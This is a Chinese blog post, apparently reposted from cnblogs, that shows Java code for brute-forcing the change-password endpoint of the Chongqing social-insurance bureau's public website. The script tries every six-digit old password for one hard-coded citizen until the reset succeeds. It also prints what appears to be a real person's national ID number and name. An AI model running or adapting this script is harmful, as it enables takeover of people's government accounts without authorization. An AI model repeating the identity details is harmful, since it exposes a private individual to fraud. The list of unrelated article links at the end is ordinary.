博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
重庆社保局密码重置
阅读量:5068 次
发布时间:2019-06-12

本文共 3190 字,大约阅读时间需要 10 分钟。

登录:http://ggfw.cqhrss.gov.cn/ggfw/index1.jsp

F12获取修改密码路径:http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do

 

一、新建实体接受 返回对象

package com.ycgwl;public class rel {    private String code;    private String message;    public String getCode() {        return code;    }    public void setCode(String code) {        this.code = code;    }    public String getMessage() {        return message;    }    public void setMessage(String message) {        this.message = message;    }    }
package com.ycgwl;import java.io.IOException;import java.io.InputStream;import java.io.OutputStreamWriter;import java.net.HttpURLConnection;import java.net.URL;import com.alibaba.fastjson.JSON;public class Bean {    public static void main(String[] args) {        String url = "http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do";        String urlpara = "bh=500102199210245995&xm=文昌平&ymm=pwd&xmm=123456&rmm=123456";        for(int i=465;i<1000000;i++) {            String pwdd = getPwdString(i);            if(pwdd.equals("")) {                System.out.println("获取密码出错");                System.exit(0);            }            String result = Post(url,urlpara.replace("pwd", pwdd));            while("IOException".equals(result)) {                result = Post(url,urlpara.replace("pwd", pwdd));            }            System.out.println(i+"``````````````````"+result);            rel rel = JSON.parseObject(result, rel.class);            if(!rel.getCode().equals("0")) {                System.out.println("设置成功");                System.exit(0);            }        }    }        public static String Post(String strURL, String params) {          try {              URL url = new URL(strURL);// 创建连接              HttpURLConnection connection = (HttpURLConnection) url.openConnection();            connection.setDoOutput(true);              connection.setDoInput(true);              connection.setUseCaches(false);              connection.setInstanceFollowRedirects(true);              connection.setRequestMethod("POST"); // 设置请求方式              connection.setReadTimeout(100);            connection.connect();              OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "UTF-8"); // utf-8编码              out.append(params);              out.flush();              out.close();              InputStream is = connection.getInputStream();             byte[] temp = new byte[connection.getContentLength()];              is.read(temp);            String result = new String(temp, "UTF-8"); // utf-8编码              return result;          } catch (IOException e) {              return "IOException";        }    }        public static String getPwdString(int index) {        int length = String.valueOf(index).length();        switch (length) {            case 1:                return "00000"+index;            case 2:                return "0000"+index;            case 3:                return "000"+index;            case 4:                return "00"+index;            case 5:                return "0"+index;            case 6:                return ""+index;            default:                return "";        }    }}

 

转载于:https://www.cnblogs.com/acme6/p/9342478.html

你可能感兴趣的文章
python标准库——queue模块 的queue类(单向队列)
查看>>
display的值有哪些?
查看>>
火狐、谷歌、IE关于document.body.scrollTop和document.documentElement.scrollTop 以及值为0的问题...
查看>>
基于Lucene3.5.0怎样从TokenStream获得Token
查看>>
一网打尽各类Java基本数据类型转换
查看>>
FlowLayout布局
查看>>
深入理解JVM读书笔记--字节码执行引擎
查看>>
vue-搜索功能-实时监听搜索框的输入,N毫秒请求一次数据
查看>>
批处理 windows 服务的安装与卸载
查看>>
React文档翻译 (快速入门)
查看>>
prettyprint
查看>>
【Machine Learning-2】Stanford Uni Open Course: Machine Learning -- Lecture 2 Note
查看>>
kettle利用参数遍历执行指定目录下的所有对象
查看>>
fps
查看>>
Android 自定义View修炼-自定义可动画展开收缩View的实现
查看>>
ORA-12541:TNS:no listener 客户端tnsnames.ora配置,以及服务端listener.ora配置
查看>>
C#多线程操作界面控件的解决方案(转)
查看>>
JS获得本月的第一天和最后一天
查看>>
如何使java中double类型不以科学计数法表示
查看>>
AES加密解密
查看>>